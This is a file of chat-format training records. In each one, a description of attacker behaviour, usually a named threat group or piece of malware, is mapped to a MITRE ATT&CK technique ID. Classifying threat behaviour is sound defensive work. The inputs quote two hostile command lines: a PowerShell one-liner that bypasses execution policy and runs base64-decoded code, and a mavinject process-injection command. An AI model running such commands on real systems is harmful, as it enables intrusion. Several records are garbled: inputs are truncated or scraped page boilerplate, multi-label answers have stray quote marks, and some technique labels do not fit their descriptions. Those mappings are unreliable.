                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains screen capture functionality."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has searched a victim's network for organization collaboration channels like MS Teams or Slack to discover further high-privilege account credentials."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gorgon Group sent emails to victims with malicious Microsoft Office documents attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has interacted with Office 365 tenants to gather details regarding target's environments."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures screenshots of the infected system."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has used BITS jobs to download malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "allows adversaries to search for files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the image is displayed, the code drops an unusual mspaint.lnk shortcut to disk and launches it. The shortcut maintains a multiline target shell script. The 64kb lnk file is downloader code"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content C:\\ProgramData\\ZIPSDK\\ProjectConfManagerNT.ini))));  PowerShell one-liner Encoded text file Execution flow:  The PowerShell code When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In my opinion enumeration is not an attack technique that blue teamers should focus their defense efforts on. The best way to prevent unauthorized users from accessing this information is by having strict conditional access policies which govern how and from where users are allowed to use their Azure AD credentials. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here. I haven’t personally looked into bypassing this or if other functionality in Azure breaks if you enable this"
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spreadsheet’s macro code retrieved a malicious Dynamic Link Library (DLL) file for BazarLoader from the following URL"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skip to main content . We use optional cookies to improve your experience on our websites, such as through social media connections, and to display personalized advertising based on your online activity. If you reject optional cookies, only cookies necessary to provide you the services will be used. Using reg to configure the registry of remote computers limits the parameters that you can use in some operations. Check the syntax and parameters for each operation to verify that they can be used on remote computers . In this article"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The server uses folders in the current directory to store information sent and received from WellMess backdoors and the folder layout is shown in Figure 2. Additionally, the server uses a private key and certificate located in the current working directory during mutual TLS connections"
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tarrask creates a scheduled task called “WinUpdate” to re-establish any dropped  C2 connections."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tomiris can use HTTP to establish C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex v1 was executed manually by threat actors using a separate batch file to kill security processes and stop/disable services related to security, backup and shadow copies. That same batch file was subsequently used to execute the MegaCortex binary with a Base64 key as a command-line argument"
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has the ability to identify the users on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has the ability to add bytes to change the file hash."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has accessed and collected credentials from password managers."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meanwhile, injection and delivery techniques are undergoing changes in 2018 with reflective loaders and code enhancements"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used a module named NewBCtestnDll64 as a reverse SOCKS proxy."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `net group` command as part of their advanced reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has created scheduled tasks using name variants such as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\", to launch Maze at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mavinject.exe (Microsoft Application Virtualization Injector), it does code injection into explorer.exe with its payload DriverGFY.db. The technique the attacker is using here is Process Injection in the Mitre ATT&CK Framework. The command executed at runtime for doing code injection is shown below: C:\\Windows\\System32\\cmd.exe\" /c mavinject.exe 568 /injectrunning c:\\Drivers\\DriverGFY.db\""
            },
            {
                "role": "assistant",
                "content": "T1218.013 - Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can obtain a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can enumerate existing Windows services on the host that are configured to run as LocalSystem."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies processes and collects the process ids."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sliver has the ability to manipulate user tokens on targeted Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses RC4 encryption to obfuscate HTTP traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used macros in s as well as executed VBScripts on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 exfiltrated collected data over a simple HTTPS request to a password-protected archive staged on a victim's OWA servers."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CoinTicker initially downloads a hidden encoded file."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperBro has the ability to run an application (\"CreateProcessW\") or script/file (\"ShellExecuteW\") via API."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can track key presses with a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions - Both variants contain a variety of functionalities based on command IDs issued by the control servers - Common capabilities of both malware: Listing files in directory Creating arbitrary processes Writing data received from control servers to files on disk Gathering information for all drives Gathering process times for all processes Sending the contents of a specific file to the control server Wiping and deleting files on disk Setting the current working directory for the implant Sending disk space information to the control server - Listing files in directory - Creating arbitrary processes - Writing data received from control servers to files on disk - Gathering information for all drives - Gathering process times for all processes - Sending the contents of a specific file to the control server - Wiping and deleting files on disk - Setting the current working directory for the implant - Sending disk space information to the control server - Both variants use a batch file mechanism to delete their binaries from the system - Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1057 - Process Discovery', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBALL, initially discovered in an attack during October 2019, is a simple FTP downloader utility which facilitates the installation of SYSCON, a full-featured Remote Access Trojan (RAT) which leverages FTP for Command and Control (C2). It was found embedded in a malicious Word document sent as a phishing lure to a US government agency and two non-US foreign nationals professionally associated with North Korea."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The use of an initial reconnaissance document allows Inception to profile the target’s computer and potentially customize any subsequent malicious document to exploit known vulnerabilities in unpatched software on the computer"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEXTMATE executes cmd.exe to provide a reverse shell to adversaries."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 server will respond to the HTTP requests to the “bat&amp;m=d” URL with a batch script that update.vbs will save to the “dn” folder and execute. The output of the downloaded batch script is saved to a text file in the “up” folder and uploaded to the C2 server via an HTTP POST request to the following URL"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Psylo has a command to download a file to the system from its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can execute through the \"WinExec\" API."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has hooked APIs to perform a wide variety of information theft, such as monitoring traffic from browsers."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  HTTP malware variant decrypts strings using single-byte XOR keys."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has attempted to lure victims into opening e-mail attachments to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To deliver the malware to the victim machines, the Rocke group exploits vulnerabilities in Apache Struts 2, Oracle WebLogic, and Adobe ColdFusion. For example, by exploiting Oracle WebLogic vulnerability CVE-2017-10271 in Linux shown in Figure 1, a compromised Linux victim machine downloads backdoor 0720.bin and opens a shell"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can list files on available disk volumes."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has added itself to the Registry Run key as \"NVIDIA\" to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has used `net use` and `netstat` to conduct internal discovery of systems. The group has also used `quser.exe` to identify existing RDP sessions on a victim."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT steals files based on an extension list if a USB drive is connected to the system."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment. Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JSS Loader can download and execute VBScript files."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can load a DLL using ."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "decrypts and extracts a copy of its main DLL payload when executing."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has been known to establish persistence by adding programs to the Run Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie establishes persistence via a .lnk file in the victim’s startup path."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan checks the modified time of the file by creating an HTTP request to a URL structured as follows: <Google Drive URL in ‘gdu’> + <file identifier> + “?supportTeamDrives=true&fields=modifiedTime” The Trojan then uses the following regular expression to obtain the modified time of the file from the HTTP response, which is saved to the variable named modification_time: \\”modifiedTime\\”:(.*) The Trojan then uploads a second file to the Google Drive, the purpose of which is to allow the Trojan to continually write to this file as it waits for the actor to modify the first file uploaded"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1074 - Data Staged', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Each of the Silent Librarian lures ends with a very realistic looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; however, some of the information is in different locations, indicating the actors are likely performing manual reconnaissance to gather the information"
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can obtain the OS version and build, computer name, and processor architecture from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used cloud services, including OneDrive, for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee uses a batch file to load a DLL into the svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar encodes communications to the C2 server in Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used base64 to encode command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT can capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth has a command to timestop a file or directory."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used AOL Instant Messenger for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DriveSlayer is digitally signed using a valid certificate and also abuses a legitimate EaseUS Partition Master driver to gain raw disk access and manipulate the disk to make the system inoperable"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
